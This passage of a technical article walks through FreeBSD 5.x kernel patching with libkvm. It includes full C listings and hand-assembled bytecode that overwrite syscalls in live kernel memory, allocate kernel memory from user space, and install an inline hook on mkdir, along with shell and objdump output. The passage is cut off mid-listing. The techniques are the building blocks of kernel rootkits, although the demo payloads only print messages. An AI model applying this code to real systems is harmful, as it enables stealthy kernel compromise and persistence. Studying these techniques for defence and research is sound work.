#include <limits.h>

#include <sys/types.h>

/*

* Offset of string to be printed

* Starting at the beginning of the syscall hello

*/

#define OFFSET_10xed

/*

* Offset of instruction following call statement

*/

#define OFFSET_20x12

/*

* Replacement code

*/

unsigned char code[] =

"\x55"/* push %ebp*/

"\x89\xe5"/* mov %esp,%ebp*/

"\x83\xec\x04"/* sub $0x4,%esp*/

"\xc7\x04\x24\x00\x00\x00\x00"/* movl $0,(%esp)*/

"\xe8\x00\x00\x00\x00"/* call printf*/

"\xc9"/* leave*/

"\x31\xc0"/* xor %eax,%eax*/

"\xc3"/* ret*/

"\x8d\xb4\x26\x00\x00\x00\x00"/* lea 0x0(%esi),%esi*/

"\x8d\xbc\x27\x00\x00\x00\x00";/* lea 0x0(%edi),%edi*/

int main(int argc, char *argv[]) {

char errbuf[_POSIX2_LINE_MAX];

kvm_t *kd;

u_int32_t offset_1;

u_int32_t offset_2;

struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };

/* Initialize kernel virtual memory access */

kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if(kd == NULL) {

fprintf(stderr, "ERROR: %s\n", errbuf); exit(‑1);

}

/* Find the address of hello and printf */

nl[0].n_name = "hello";

nl[1].n_name = "printf";

if(kvm_nlist(kd, nl) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(‑1);

}

if(!nl[0].n_value) {

fprintf(stderr, "ERROR: Symbol %s not found\n" , nl[0].n_name);

exit(‑1);

}

if(!nl[1].n_value) {

fprintf(stderr, "ERROR: Symbol %s not found\n" , nl[1].n_name);

exit(‑1);

}

/* Calculate the correct offsets */

offset_1 = nl[0].n_value + OFFSET_1;

offset_2 = nl[0].n_value + OFFSET_2;

/* Set the code to contain the correct addresses */

*(unsigned long *)&code[9] = offset_1;

*(unsigned long *)&code[14] = nl[1].n_value ‑ offset_2;

/* Patch hello */

if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(‑1);

}

printf("Luke, I am your father!\n");

/* Close kd */

if(kvm_close(kd) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(‑1);

}

exit(0);

}

The only libkvm function that is included in the above program that hasn't been discussed before is kvm_write.

kvm_write:

This function is used to write to kernel virtual memory. In test_call the syntax was as follows:

kvm_write(kd, nl[0].n_value, code, sizeof(code))

The first argument is the descriptor. The second is the address to begin writing to. The third argument is the user‑space location to read from. The fourth argument is the number of bytes to read.

The replacement code (bytecode) in test_call was generated with help of objdump.

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ghost@slavetwo:~#objdump ‑DR hello.ko | less

hello.ko: file format elf32‑i386‑freebsd

Disassembly of section .hash:

00000094 <.hash>:

94: 11 00 adc %eax,(%eax)

96: 00 00 add %al,(%eax)

OUTPUT SNIPPED

Disassembly of section .text:

00000500 <hello>:

500: 55 push %ebp

501: 89 e5 mov %esp,%ebp

503: 83 ec 04 sub $0x4,%esp

506: c7 04 24 ed 05 00 00 movl $0x5ed,(%esp) 509: R_386_RELATIVE *ABS*

50d: e8 fc ff ff ff call 50e <hello+0xe> 50e: R_386_PC32 printf

512: c7 04 24 ed 05 00 00 movl $0x5ed,(%esp) 515: R_386_RELATIVE *ABS*

519: e8 fc ff ff ff call 51a <hello+0x1a> 51a: R_386_PC32 printf

51e: c7 04 24 ed 05 00 00 movl $0x5ed,(%esp) 521: R_386_RELATIVE *ABS*

525: e8 fc ff ff ff call 526 <hello+0x26> 526: R_386_PC32 printf

OUTPUT SNIPPED

57e: c9 leave

57f: 31 c0 xor %eax,%eax

581: c3 ret

582: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi

589: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: Your output may vary depending on your compiler version and flags.

Comparing the output of the text section with the bytecode in test_call one can see that they are essentially the same, minus setting up nine more calls to printf. An important item to take note of is when objdump reports something as being relative. In this case two items are; movl $0x5ed,(%esp) (sets up the string to be printed) and call printf. Which brings us to ...

In test_call there are two #define statements, they are:

#define OFFSET_1 0xed

#define OFFSET_2 0x12

The first represents the address of the string to be printed relative to the beginning of syscall hello (the number is derived from the output of objdump). While the second represents the offset of the instruction following the call to printf in the bytecode. Later on in test_call there are these four statements:

/* Calculate the correct offsets */

offset_1 = nl[0].n_value + OFFSET_1;

offset_2 = nl[0].n_value + OFFSET_2;

/* Set the code to contain the correct addresses */

*(unsigned long *)&code[9] = offset_1; *(unsigned long *)&code[14] = nl[1].n_value ‑ offset_2;

From the comments it should be obvious what these four statements do. code[9] is the section in bytecode where the address of the string to be printed is stored. code[14] is the operand for the call statement; address of printf ‑ address of the next statement.

The following is the output before and after running test_call:

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ghost@slavetwo:~#ls

Makefile hello.c interface.c test_call.c ghost@slavetwo:~#make

Warning: Object directory not changed from original /usr/home/ghost @ ‑> /usr/src/sys

machine ‑> /usr/src/sys/i386/include

OUTPUT SNIPPED

J% objcopy % hello.kld

ld ‑Bshareable ‑d ‑warn‑common ‑o hello.ko hello.kld

objcopy ‑‑strip‑debug hello.ko

ghost@slavetwo:~#sudo kldload ./hello.ko

Password:

syscall loaded at 210

ghost@slavetwo:~#gcc ‑o interface interface.c ghost@slavetwo:~#./interface

FreeBSD Rox!

FreeBSD Rox!

FreeBSD Rox!

FreeBSD Rox!

FreeBSD Rox!

FreeBSD Rox!

FreeBSD Rox!

FreeBSD Rox!

FreeBSD Rox!

FreeBSD Rox!

ghost@slavetwo:~#gcc ‑o test_call test_call.c ‑lkvm ghost@slavetwo:~#sudo ./test_call

Luke, I am your father!

ghost@slavetwo:~#./interface

FreeBSD Rox!

ghost@slavetwo:~#

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 4.0 ‑ Allocating Kernel Memory

Being able to just patch kernel memory has its limitations since you don't have much room to play with. Being able to allocate kernel memory alleviates this problem. The following is a kld which does just that.

kmalloc.c:

/*

* Module to allow a non‑privileged user to allocate kernel memory *

* kmalloc.c,v 2.0 2005/06/01

* Date Modified 2005/06/14

*/

#include <sys/types.h>

#include <sys/param.h>

#include <sys/proc.h>

#include <sys/module.h>

#include <sys/sysent.h>

#include <sys/kernel.h>

#include <sys/systm.h>

#include <sys/malloc.h>

/*

* Arguments for kmalloc

*/

struct kma_struct {

unsigned long size;

unsigned long *addr;

};

struct kmalloc_args { struct kma_struct *kma; };

/*

* The function for implementing kmalloc.

*/

static int

kmalloc (struct thread *td, struct kmalloc_args *uap) {

int error = 1;

struct kma_struct kts;

if(uap‑>kma) {

MALLOC(kts.addr, unsigned long*, uap‑>kma‑>size

, M_TEMP, M_NOWAIT);

error = copyout(&kts, uap‑>kma, sizeof(kts));

}

return (error);

}

/*

* The `sysent' for kmalloc

*/

static struct sysent kmalloc_sysent = {

1,/* sy_narg */

kmalloc/* sy_call */

};

/*

* The offset in sysent where the syscall is allocated.

*/

static int offset = 210;

/*

* The function called at load/unload.

*/

static int

load (struct module *module, int cmd, void *arg)

{

int error = 0;

switch (cmd) {

case MOD_LOAD :

uprintf ("syscall loaded at %d\n", offset);

break;

case MOD_UNLOAD :

uprintf ("syscall unloaded from %d\n", offset);

break;

default :

error = EOPNOTSUPP;

break;

}

return error;

}

SYSCALL_MODULE(kmalloc, &offset, &kmalloc_sysent, load, NULL);

The following is the user‑space program for the above kld:

interface.c:

/*

* User Program To Interact With kmalloc module

*/

#include <stdio.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/module.h>

struct kma_struct {

unsigned long size;

unsigned long *addr;

};

int main(int argc, char **argv) {

struct kma_struct kma;

if(argc != 2) {

printf("Usage:\n%s <size>\n", argv[0]);

exit(0);

}

kma.size = (unsigned long)atoi(argv[1]);

return syscall(210, &kma);

}

Using the techniques/functions described in the previous two sections and the following algorithm coined by Silvio Cesare one can allocate kernel memory without the use of a kld.

Silvio Cesare's kmalloc from user‑space algorithm:

1. Get the address of some syscall

2. Write a function which will allocate kernel memory

3. Save sizeof(our_function) bytes of some syscall

4. Overwrite some syscall with our_function

5. Call newly overwritten syscall

6. Restore syscall

test_kmalloc.c:

/*

* Allocate kernel memory from user‑space

*

* Algorithm to allocate kernel memory is as follows:

*

* 1. Get address of mkdir

* 2. Overwrite mkdir with function that calls man 9 malloc() * 3. Call mkdir through int $0x80

* This will cause the kernel to run the new "mkdir" syscall, which will * call man 9 malloc() and pass out the address of the newly allocated * kernel memory

* 4. Restore mkdir syscall

*

* test_kmalloc.c,v 2.0 2005/06/24

*/

#include <stdio.h>

#include <fcntl.h>

#include <kvm.h>

#include <nlist.h>

#include <limits.h>

#include <sys/types.h>

#include <sys/syscall.h>

#include <sys/module.h>

/*

* Offset of instruction following call statements

* Starting at the beginning of the function kmalloc

*/

#define OFFSET_10x3a

#define OFFSET_20x56

/*

* kmalloc function code

*/

unsigned char code[] =

"\x55"/* push %ebp*/

"\xba\x01\x00\x00\x00"/* mov $0x1,%edx*/

"\x89\xe5"/* mov %esp,%ebp*/

"\x53"/* push %ebx*/

"\x83\xec\x14"/* sub $0x14,%esp*/

"\x8b\x5d\x0c"/* mov 0xc(%ebp),%ebx*/

"\x8b\x03"/* mov (%ebx),%eax*/

"\x85\xc0"/* test %eax,%eax*/

"\x75\x0b"/* jne 20 <kmalloc+0x20>*/

"\x83\xc4\x14"/* add $0x14,%esp*/

"\x89\xd0"/* mov %edx,%eax*/

"\x5b"/* pop %ebx*/

"\xc9"/* leave*/

"\xc3"/* ret*/

"\x8d\x76\x00"/* lea 0x0(%esi),%esi*/

"\xc7\x44\x24\x08\x01\x00\x00"/* movl $0x1,0x8(%esp)*/

"\x00"

"\xc7\x44\x24\x04\x00\x00\x00"/* movl $0x0,0x4(%esp)*/

"\x00"

"\x8b\x00"/* mov (%eax),%eax*/

"\x89\x04\x24"/* mov %eax,(%esp)*/

"\xe8\xfc\xff\xff\xff"/* call 36 <kmalloc+0x36>*/

"\x89\x45\xf8"/* mov %eax,0xfffffff8(%ebp)*/

"\xc7\x44\x24\x08\x08\x00\x00"/* movl $0x8,0x8(%esp)*/

"\x00"

"\x8b\x03"/* mov (%ebx),%eax*/

"\x89\x44\x24\x04"/* mov %eax,0x4(%esp)*/

"\x8d\x45\xf4"/* lea 0xfffffff4(%ebp),%eax*/

"\x89\x04\x24"/* mov %eax,(%esp)*/

"\xe8\xfc\xff\xff\xff"/* call 52 <kmalloc+0x52>*/

"\x83\xc4\x14"/* add $0x14,%esp*/

"\x89\xc2"/* mov %eax,%edx*/

"\x5b"/* pop %ebx*/

"\xc9"/* leave*/

"\x89\xd0"/* mov %edx,%eax*/

"\xc3";/* ret*/

/*

* struct used to store kernel address

*/

struct kma_struct {

unsigned long size;

unsigned long *addr;

};

int main(int argc, char **argv) {

int i = 0;

char errbuf[_POSIX2_LINE_MAX];

kvm_t *kd;

u_int32_t offset_1;

u_int32_t offset_2;

struct nlist nl[] =

{{ NULL },{ NULL },{ NULL },{ NULL },{ NULL },}; unsigned char origcode[sizeof(code)];

struct kma_struct kma;

if(argc != 2) {

printf("Usage:\n%s <size>\n", argv[0]); exit(0);

}

/* Initialize kernel virtual memory access */

kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);

if(kd == NULL) {

fprintf(stderr, "ERROR: %s\n", errbuf);

exit(‑1);

}

/* Find the address of mkdir, M_TEMP, malloc, and copyout */

nl[0].n_name = "mkdir";

nl[1].n_name = "M_TEMP";

nl[2].n_name = "malloc";

nl[3].n_name = "copyout";

if(kvm_nlist(kd, nl) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(‑1);

}

for(i = 0; i < 4; i++) {

if(!nl[i].n_value) {

fprintf(stderr, "ERROR: Symbol %s not found\n" , nl[i].n_name);

exit(‑1);

}

}

/* Calculate the correct offsets */

offset_1 = nl[0].n_value + OFFSET_1;

offset_2 = nl[0].n_value + OFFSET_2;

/* Set the code to contain the correct addresses */

*(unsigned long *)&code[44] = nl[1].n_value;

*(unsigned long *)&code[54] = nl[2].n_value ‑ offset_1; *(unsigned long *)&code[82] = nl[3].n_value ‑ offset_2;

/* Save mkdir syscall */

if(kvm_read(kd, nl[0].n_value, origcode, sizeof(code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Patch mkdir */

if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Allocate kernel memory */

kma.size = (unsigned long)atoi(argv[1]);

syscall(136, &kma);

printf("Address of kernel memory: 0x%x\n", kma.addr);

/* Restore mkdir */

if(kvm_write(kd, nl[0].n_value, origcode, sizeof(code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Close kd */

if(kvm_close(kd) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

exit(0);

}

Using ddb one can verify the results of the above program as follows:

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ghost@slavetwo:~#ls

test_kmalloc.c

ghost@slavetwo:~#gcc ‑o test_kmalloc test_kmalloc.c ‑lkvm ghost@slavetwo:~#sudo ./test_kmalloc

Usage:

./test_kmalloc <size>

ghost@slavetwo:~#sudo ./test_kmalloc 10

Address of kernel memory: 0xc2580870

ghost@slavetwo:~#KDB: enter: manual escape to debugger

[thread pid 12 tid 100004 ]

Stopped at kdb_enter+0x32: leave

db> examine/x 0xc2580870

0xc2580870: 70707070

db>

0xc2580874: 70707070

db>

0xc2580878: dead7070

db> c

ghost@slavetwo:~#

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 5.0 ‑ Putting It All Together

Knowing how to patch and allocate kernel memory gives one a lot of freedom. This last section will demonstrate how to apply a call hook using the techniques described in the previous sections. Typically call hooks on FreeBSD are done by changing the sysent and having it point to another function, we will not be doing this. Instead we will be using the following algorithm (with a few minor twists, shown later):

1. Copy syscall we want to hook

2. Allocate kernel memory (use technique described in previous section)

3. Place new routine in newly allocated address space

4. Overwrite first 7 bytes of syscall with an instruction to jump to new routine

5. Execute new routine, plus the first x bytes of syscall (this step will become clearer later)

6. Jump back to syscall + offset

Where offset is equal to x

Stealing an idea from pragmatic of THC we will hook mkdir to print out a debug message. The following is the kld used in conjunction with objdump in order to extract the bytecode required for the call hook.

hacked_mkdir.c:

/*

* mkdir call hook

*

* Prints a simple debugging message

*/

#include <sys/types.h>

#include <sys/param.h>

#include <sys/proc.h>

#include <sys/module.h>

#include <sys/sysent.h>

#include <sys/kernel.h>

#include <sys/systm.h>

#include <sys/linker.h>

#include <sys/sysproto.h>

#include <sys/syscall.h>

/* The hacked system call */

static int

hacked_mkdir (struct proc *p, struct mkdir_args *uap) {

uprintf ("MKDIR SYSCALL : %s\n", uap‑>path);

return 0;

}

/* The sysent for the hacked system call */

static struct sysent

hacked_mkdir_sysent = {

1,/* sy_narg */

hacked_mkdir/* sy_call */

};

/* The offset in sysent where the syscall is allocated */

static int offset = NO_SYSCALL;

/* The function called at load/unload */

static int

load (struct module *module, int cmd, void *arg) {

int error = 0;

switch (cmd) {

case MOD_LOAD :

uprintf ("syscall loaded at %d\n", offset);

break;

case MOD_UNLOAD :

uprintf ("syscall unloaded from %d\n", offset);

break;

default :

error = EINVAL;

break;

}

return error;

}

SYSCALL_MODULE(hacked_mkdir, &offset, &hacked_mkdir_sysent, load, NULL);

The following is an example program which hooks mkdir to print out a simple debug message. As always an explanation of any new concepts appears after the source code listing.

test_hook.c:

/*

* Intercept mkdir system call, printing out a debug message before * executing mkdir.

*

* Algorithm is as follows:

* 1. Copy mkdir syscall upto but not including \xe8.

* 2. Allocate kernel memory.

* 3. Place new routine in newly allocated address space.

* 4. Overwrite first 7 bytes of mkdir syscall with an instruction to jump * to new routine.

* 5. Execute new routine, plus the first x bytes of mkdir syscall. * Where x is equal to the number of bytes copied from step 1. * 6. Jump back to mkdir syscall + offset.

* Where offset is equal to the location of \xe8.

*

* test_hook.c,v 3.0 2005/07/02

*/

#include <stdio.h>

#include <fcntl.h>

#include <kvm.h>

#include <nlist.h>

#include <limits.h>

#include <sys/types.h>

#include <sys/syscall.h>

#include <sys/module.h>

/*

* Offset of instruction following call statements

* Starting at the beginning of the function kmalloc

*/

#define KM_OFFSET_10x3a

#define KM_OFFSET_20x56

/*

* kmalloc function code

*/

unsigned char km_code[] =

"\x55"/* push %ebp*/

"\xba\x01\x00\x00\x00"/* mov $0x1,%edx*/

"\x89\xe5"/* mov %esp,%ebp*/

"\x53"/* push %ebx*/

"\x83\xec\x14"/* sub $0x14,%esp*/

"\x8b\x5d\x0c"/* mov 0xc(%ebp),%ebx*/

"\x8b\x03"/* mov (%ebx),%eax*/

"\x85\xc0"/* test %eax,%eax*/

"\x75\x0b"/* jne 20 <kmalloc+0x20>*/

"\x83\xc4\x14"/* add $0x14,%esp*/

"\x89\xd0"/* mov %edx,%eax*/

"\x5b"/* pop %ebx*/

"\xc9"/* leave*/

"\xc3"/* ret*/

"\x8d\x76\x00"/* lea 0x0(%esi),%esi*/

"\xc7\x44\x24\x08\x01\x00\x00"/* movl $0x1,0x8(%esp)*/

"\x00"

"\xc7\x44\x24\x04\x00\x00\x00"/* movl $0x0,0x4(%esp)*/

"\x00"

"\x8b\x00"/* mov (%eax),%eax*/

"\x89\x04\x24"/* mov %eax,(%esp)*/

"\xe8\xfc\xff\xff\xff"/* call 36 <kmalloc+0x36>*/

"\x89\x45\xf8"/* mov %eax,0xfffffff8(%ebp)*/

"\xc7\x44\x24\x08\x08\x00\x00"/* movl $0x8,0x8(%esp)*/

"\x00"

"\x8b\x03"/* mov (%ebx),%eax*/

"\x89\x44\x24\x04"/* mov %eax,0x4(%esp)*/

"\x8d\x45\xf4"/* lea 0xfffffff4(%ebp),%eax*/

"\x89\x04\x24"/* mov %eax,(%esp)*/

"\xe8\xfc\xff\xff\xff"/* call 52 <kmalloc+0x52>*/

"\x83\xc4\x14"/* add $0x14,%esp*/

"\x89\xc2"/* mov %eax,%edx*/

"\x5b"/* pop %ebx*/

"\xc9"/* leave*/

"\x89\xd0"/* mov %edx,%eax*/

"\xc3";/* ret*/

/*

* Offset of instruction following call statements

* Starting at the beginning of the function hacked_mkdir

*/

#define HA_OFFSET_10x2f

/*

* hacked_mkdir function code

*/

unsigned char ha_code[] =

"\x4d"/* M*/

"\x4b"/* K*/

"\x44"/* D*/

"\x49"/* I*/

"\x52"/* R*/

"\x20"/* sp*/

"\x53"/* S*/

"\x59"/* Y*/

"\x53"/* S*/

"\x43"/* C*/

"\x41"/* A*/

"\x4c"/* L*/

"\x4c"/* L*/

"\x20"/* sp*/

"\x3a"/* :*/

"\x20"/* sp*/

"\x25"/* %*/

"\x73"/* s*/

"\x0a"/* nl*/

"\x00"/* null*/

"\x55"/* push %ebp*/

"\x89\xe5"/* mov %esp,%ebp*/

"\x83\xec\x08"/* sub $0x8,%esp*/

"\x8b\x45\x0c"/* mov 0xc(%ebp),%eax*/

"\x8b\x00"/* mov (%eax),%eax*/

"\xc7\x04\x24\x0d\x00\x00\x00"/* movl $0xd,(%esp)*/

"\x89\x44\x24\x04"/* mov %eax,0x4(%esp)*/

"\xe8\xfc\xff\xff\xff"/* call 17 <hacked_mkdir+0x17>*/

"\x31\xc0"/* xor %eax,%eax*/

"\x83\xc4\x08"/* add $0x8,%esp*/

"\x5d";/* pop %ebp*/

/*

* jump code

*/

unsigned char jp_code[] =

"\xb8\x00\x00\x00\x00"/* movl $0,%eax*/

"\xff\xe0";/* jmp *%eax*/

/*

* struct used to store kernel address

*/

struct kma_struct {

unsigned long size;

unsigned long *addr;

};

int main(int argc, char **argv) {

int i = 0;

char errbuf[_POSIX2_LINE_MAX];

kvm_t *kd;

u_int32_t km_offset_1;

u_int32_t km_offset_2;

u_int32_t ha_offset_1;

struct nlist nl[] =

{ { NULL },{ NULL },{ NULL },{ NULL },{ NULL },{ NULL},{ NULL }, }; unsigned long diff;

int position;

unsigned char orig_code[sizeof(km_code)];

struct kma_struct kma;

/* Initialize kernel virtual memory access */

kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);

if(kd == NULL) {

fprintf(stderr, "ERROR: %s\n", errbuf);

exit(‑1);

}

/* Find the address of mkdir, M_TEMP, malloc, copyout,

uprintf, and kern_rmdir */

nl[0].n_name = "mkdir";

nl[1].n_name = "M_TEMP";

nl[2].n_name = "malloc";

nl[3].n_name = "copyout";

nl[4].n_name = "uprintf";

nl[5].n_name = "kern_rmdir";

if(kvm_nlist(kd, nl) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(‑1);

}

for(i = 0; i <= 5; i++) {

if(!nl[i].n_value) {

fprintf(stderr, "ERROR: Symbol %s not found\n" , nl[i].n_name);

exit(‑1);

}

}

/* Determine size of mkdir syscall */

diff = nl[5].n_value ‑ nl[0].n_value;

unsigned char mk_code[diff];

/* Save a copy of mkdir syscall */

if(kvm_read(kd, nl[0].n_value, mk_code, diff) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Determine position of 0xe8 */

for(i = 0; i < (int)diff; i++) {

if(mk_code[i] == 0xe8) {

position = i;

}

}

/* Calculate the correct offsets for kmalloc */

km_offset_1 = nl[0].n_value + KM_OFFSET_1;

km_offset_2 = nl[0].n_value + KM_OFFSET_2;

/* Set the km_code to contain the correct addresses */

*(unsigned long *)&km_code[44] = nl[1].n_value;

*(unsigned long *)&km_code[54] = nl[2].n_value ‑ km_offset_1; *(unsigned long *)&km_code[82] = nl[3].n_value ‑ km_offset_2;

/* Save mkdir syscall */

if(kvm_read(kd, nl[0].n_value, orig_code, sizeof(km_code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Replace mkdir with kmalloc */

if(kvm_write(kd, nl[0].n_value, km_code, sizeof(km_code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Allocate kernel memory */

kma.size = (unsigned long)sizeof(ha_code) + (unsigned long)position + (unsigned long)sizeof(jp_code);

syscall(136, &kma);

/* Restore mkdir */

if(kvm_write(kd, nl[0].n_value, orig_code, sizeof(km_code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Calculate the correct offsets for hacked_mkdir */

ha_offset_1 = (unsigned long)kma.addr + HA_OFFSET_1;

/* Set the ha_code to contain the correct addresses */

*(unsigned long *)&ha_code[34] = (unsigned long)kma.addr; *(unsigned long *)&ha_code[43] = nl[4].n_value ‑ ha_offset_1;

/* Place hacked_mkdir routine into kernel memory */

if(kvm_write(kd, (unsigned long)kma.addr, ha_code, sizeof(ha_code)) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Place mk_code into kernel memory */

if(kvm_write(kd, (unsigned long)kma.addr +

(unsigned long)sizeof(ha_code) ‑ 1, mk_code, position) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Set the jp_code to contain the correct address */

*(unsigned long *)&jp_code[1] = nl[0].n_value + (unsigned long)position;

/* Place jump code into kernel memory */

if(kvm_write(kd, (unsigned long)kma.addr + (unsigned long)sizeof(ha_code) ‑ 1 + (unsigned long)position

, jp_code, sizeof(jp_code)) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

/* Set the jp_code to contain the correct address */

*(unsigned long *)&jp_code[1] = (unsigned long)kma.addr + 0x14;

if(kvm_write(kd, nl[0].n_value, jp_code, sizeof(jp_code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

printf("I love the PowerGlove. It's so bad!\n");

/* Close kd */

if(kvm_close(kd) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

exit(0);

}

The comments state that the algorithm for this program is as follows:

1. Copy mkdir syscall upto but not including \xe8.

2. Allocate kernel memory.

3. Place new routine in newly allocated address space.

4. Overwrite first 7 bytes of mkdir syscall with an instruction to jump to new routine.

5. Execute new routine, plus the first x bytes of mkdir syscall. Where x is equal to the number of bytes copied from step 1. 6. Jump back to mkdir syscall + offset.

Where offset is equal to the location of \xe8.

The reason behind copying mkdir upto but not including \xe8 is because on different builds of FreeBSD the disassembly of the mkdir syscall is different. Therefore one cannot determine a static location to jump back to. However, on all builds of FreeBSD mkdir makes a call to kern_mkdir, thus we choose to jump back to that point. The following illustrates this.

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ghost@slavezero:~#nm /boot/kernel/kernel | grep mkdir

c047c560 T devfs_vmkdir

c0620e40 t handle_written_mkdir

c0556ca0 T kern_mkdir

c0557030 T mkdir

c071d57c B mkdirlisthd

c048a3e0 t msdosfs_mkdir

c05e2ed0 t nfs4_mkdir

c05d8710 t nfs_mkdir

c05f9140 T nfsrv_mkdir

c06b4856 r nfsv3err_mkdir

c063a670 t ufs_mkdir

c0702f40 D vop_mkdir_desc

c0702f64 d vop_mkdir_vp_offsets

ghost@slavezero:~#nm /boot/kernel/kernel | grep kern_rmdir c0557060 T kern_rmdir

ghost@slavezero:~#objdump ‑d ‑‑start‑address=0xc0557030 ‑‑stop‑address=0xc0557060 /boot/kernel/kernel | less

/boot/kernel/kernel: file format elf32‑i386‑freebsd

Disassembly of section .text:

c0557030 <mkdir>:

c0557030: 55 push %ebp

c0557031: 31 c9 xor %ecx,%ecx c0557033: 89 e5 mov %esp,%ebp c0557035: 83 ec 10 sub $0x10,%esp c0557038: 8b 55 0c mov 0xc(%ebp),%edx c055703b: 8b 42 04 mov 0x4(%edx),%eax c055703e: 89 4c 24 08 mov %ecx,0x8(%esp) c0557042: 89 44 24 0c mov %eax,0xc(%esp) c0557046: 8b 02 mov (%edx),%eax c0557048: 89 44 24 04 mov %eax,0x4(%esp) c055704c: 8b 45 08 mov 0x8(%ebp),%eax c055704f: 89 04 24 mov %eax,(%esp) c0557052: e8 49 fc ff ff call c0556ca0 <kern_mkdir> c0557057: c9 leave

c0557058: c3 ret

c0557059: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi

ghost@slavezero:~#

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ghost@slavetwo:~#nm /boot/kernel/kernel | grep mkdir

c046f680 T devfs_vmkdir

c0608fd0 t handle_written_mkdir

c05415d0 T kern_mkdir

c0541900 T mkdir

c074a9bc B mkdirlisthd

c047d270 t msdosfs_mkdir

c05c7160 t nfs4_mkdir

c05bcfd0 t nfs_mkdir

c05db750 T nfsrv_mkdir

c06a2676 r nfsv3err_mkdir

c06216a0 t ufs_mkdir

c06fef40 D vop_mkdir_desc

c06fef64 d vop_mkdir_vp_offsets

ghost@slavetwo:~#nm /boot/kernel/kernel | grep kern_rmdir c0541930 T kern_rmdir

ghost@slavetwo:~#objdump ‑dR ‑‑start‑address=0xc0541900 ‑‑stop‑address=0xc0541930 /boot/kernel/kernel | less

/boot/kernel/kernel: file format elf32‑i386‑freebsd

Disassembly of section .text:

c0541900 <mkdir>:

c0541900: 55 push %ebp

c0541901: 89 e5 mov %esp,%ebp c0541903: 83 ec 10 sub $0x10,%esp c0541906: 8b 55 0c mov 0xc(%ebp),%edx c0541909: 8b 42 04 mov 0x4(%edx),%eax c054190c: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) c0541913: 00

c0541914: 89 44 24 0c mov %eax,0xc(%esp) c0541918: 8b 02 mov (%edx),%eax c054191a: 89 44 24 04 mov %eax,0x4(%esp) c054191e: 8b 45 08 mov 0x8(%ebp),%eax c0541921: 89 04 24 mov %eax,(%esp) c0541924: e8 a7 fc ff ff call c05415d0 <kern_mkdir> c0541929: c9 leave

c054192a: c3 ret

c054192b: 90 nop

c054192c: 8d 74 26 00 lea 0x0(%esi),%esi

ghost@slavetwo:~#

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The above output was generated from two different FreeBSD 5.4 builds. As one can clearly see the dissassembly dump of mkdir is different for each one.

In test_hook the address of kern_rmdir is sought after, this is because in memory kern_rmdir comes right after mkdir, thus its address is the end boundary for mkdir.

The bytecode for the call hook is as follows:

unsigned char ha_code[] =

"\x4d" /* M */

"\x4b" /* K */

"\x44" /* D */

"\x49" /* I */

"\x52" /* R */

"\x20" /* sp */

"\x53" /* S */

"\x59" /* Y */

"\x53" /* S */

"\x43" /* C */

"\x41" /* A */

"\x4c" /* L */

"\x4c" /* L */

"\x20" /* sp */

"\x3a" /* :

